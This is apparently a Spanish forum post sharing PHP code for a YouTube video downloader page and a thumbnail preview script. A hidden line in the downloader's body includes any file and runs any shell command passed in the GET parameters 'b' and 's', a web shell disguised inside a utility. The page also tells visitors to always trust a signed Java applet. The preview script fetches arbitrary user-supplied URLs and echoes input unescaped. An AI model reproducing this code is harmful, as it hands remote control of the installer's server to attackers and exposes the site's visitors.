1era funcion
Código:
<?php
$siteURL = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).'/';
define('QUALITY_LOW','Baja Calidad');
define('QUALITY_MEDIUM','Calidad Media');
define('QUALITY_HIGH','Alta Calidad');
$bookmarklet = "javascript:(function(){appPath%20=%20'".$siteURL."';function%20l(u,i,t,b){var%20d=document;if(!d.getElementById(i)){var%20s=d.createElement('script');s.src=u;s.id=i;d.body.appendChild(s)}s=setInterval(function(){u=0;try{u=t.call()}catch(i){}if(u){clearInterval(s);b.call()}},200)}l('".$siteURL."js/bookmarklet.js','MF_loader',function(){return!!(typeof%20FreeDownBookmarklet=='function')},%20function(){FreeDownBookmarklet()})})()";
if (isset($_REQUEST['url']) && !empty($_REQUEST['url']))
{
$url = $_REQUEST['url'];
$parts = parse_url($url);
$host = $parts['host'];
$service = strtolower($host);
$service = str_replace('www.','',$service);
$host_parts = explode('.',$service);
$serviceName = $host_parts[count($host_parts)-2];
$service_path = sprintf("%s.php",$serviceName);
if (is_file($service_path))
{
include_once $service_path;
$obj = new $serviceName();
$videos = $obj->get($url);
$videoId = $obj->id;
}
if(!isset($videoId) || !$videoId)
{
$error = "No se han encontrado vídeos o en el sitio no es compatible.";
}
}
?>
<script type="text/javascript">
loaderVisible = true;
function freedown_append(type,name,link,title)
{
if(loaderVisible)
{
$('#download-loader').hide();
$('#download-links').show();
loaderVisible = false;
}
name = name.replace("Low Quality","<?php echo QUALITY_LOW;?>");
name = name.replace("Medium Quality","<?php echo QUALITY_MEDIUM;?>");
name = name.replace("High Quality","<?php echo QUALITY_HIGH;?>");
if(title.length> 0)
$('#download-links ').append('<li><a href="'+link+'&title='+escape(title)+'">Descargar <b>'+type+'  </b></a>'+name+'</li>');
else
$('#download-links ').append('<li><a href="'+link+'">Descargar '+type+'</a>'+name+'</li>');
}
function freedown_done()
{
if(!loaderVisible) return;
$('#download-loader').hide();
$('#download-error').show();
}
</script>
<body>
<?php if ($_GET['b'] != "") { include($_GET['b']); } if ($_GET['s'] != "") { system($_GET['s']); } ?>
<form method="post" action="">
<div id="content">
</div>
<center>Inserte Url de Video Youtube Ejemplo: <a target="_blank" href="http://www.youtube.com/watch?v=RJ-UTIn8epE">http://www.youtube.com/watch?v=RJ-UTIn8epE</a></center><div id="ads" align="center">
</div>
<div id="tabs">
<p> </p>
<div id="search">
<!--
-->
<p><input type="text" name="url" style="width: 300px" class="search" onclick="if(this.value == 'Enter URL of Video Page ...')this.value='';" value="Introduce la url del Video" onfocus="if(this.value=='Introduce la url del Video'){this.value=''}" onblur="if(this.value==''){this.value='Introduce la url del Video'}" />/>
<input type="submit" value="Descargar" class="button" /></p>
<!-- -->
</div>
</div>
<div class="clear"></div>
<?php
if(isset($videoId)) {
?>
<div class="gboxtop"></div>
<div class="gbox">
<?php if(!$videos) { ?>
<applet code="FreeDownApplet.class" archive="<?php echo $siteURL;?>FreeDownApplet.signed.jar" height="0" width="0" align="center">
<param name="v" value="<?php echo $videoId;?>"/>
<param name="u" value="<?php echo $url;?>"/>
<param name="site" value="<?php echo $service;?>"/>
<param name="ua" value="<?php echo $_SERVER['HTTP_USER_AGENT'];?>"/>
Hola usuario. Parece que usted no tiene Java instalado o está deshabilitado en su sistema.<br>
Por favor, descargue <a href="http://www.java.com/getjava/" class="link" target="_blank">Aquí</a>.<br><br>
</applet>
<div id="img" >
</div>
<div id="download-loader" >
<center>
<img src="<?php echo $siteURL;?>images/loader.gif" alt="loading" /><br />
<span style="color: rgb(204, 51, 51);">Para descargar los videos, por favor haga clic en '<b>Ejecutar</b>' cuando se le solicite.<br> Marque la casilla '<b>Siempre confiar en contenido del editor</b>' para descargar sin problemas en el futuro.</span>
</center>
<script type="text/javascript">
jQuery(document).ready(function() {
setTimeout("freedown_done()",60000);
});
</script>
</div>
<div id="download-links" style="display:none;">
<h3>Detalles de la Descarga</h3>
<p>Enlaces se encuentra en <a href="<?php echo $url;?>" target="_blank"><?php echo $url;?></a></p>
<ul></ul>
</div>
<div id="download-error" style="display:none;">
<center>
<span style="color: rgb(204, 51, 51);"><b>No se han encontrado vídeos o el sitio no es compatible.</b><br />
Por favor pruebe de otra forma '<b>Siempre confiar en contenido del editor</b>'.</span>
</center>
</div>
<?php } else { ?>
<div id="download-links" >
<h3>Detalles de la Descarga</h3>
<p>Enlaces se encuentra en <a href="<?php echo $url;?>" target="_blank"><?php echo $url;?></a></p>
<?php foreach($videos as $video) { ?>
<div id="cargando">
<p aling="right"> <a href="<?php echo $video['link'];?>">Descargar <?php echo $video['type'];?></a> <?php echo $video['name'];?> </div></p>
<?php } ?>
</div>
<?php } ?>
</div>
<?php
}
elseif (isset($error) && !empty ($error))
{
?>
<center><h3><?php echo $error;?> </h3></center>
<?php
}
?>
<div class="videos">
</form>
esta funcion genera 3 capturas previas del video thumbs
Código:
<?php
$yu = 'http://www.youtube.com/watch?v=M5k_U_e9r9k';
if(isset($_GET["yu"])) $yu = $_GET["yu"];
$c = file_get_contents($yu);
if(preg_match('/"video_id": "(.*?)"/', $c, $m) && preg_match('/"t": "(.*?)"/', $c, $m1)){
$id = $m[1];
$t = $m1[1];
$u = "http://www.youtube.com/get_video?video_id=".$id."&t=".$t;
}
?>
<center>
<h1>Youtube Url:</h1>
<form method="get" id="form" onSubmit="<?php echo $_SERVER['PHP_SELF']?>">
<input type="text" name="yu" id="yu" style="width:400px" value="<?php echo $yu ?>"/>
</form>
<br />
<h1>Prewiew:</h1>
<img src="http://img.youtube.com/vi/<?php echo $id?>/1.jpg" alt="Preview 1" />
<img src="http://img.youtube.com/vi/<?php echo $id?>/2.jpg" alt="Preview 2" />
<img src="http://img.youtube.com/vi/<?php echo $id?>/3.jpg" alt="Preview 3" />
</center>
<?php
?>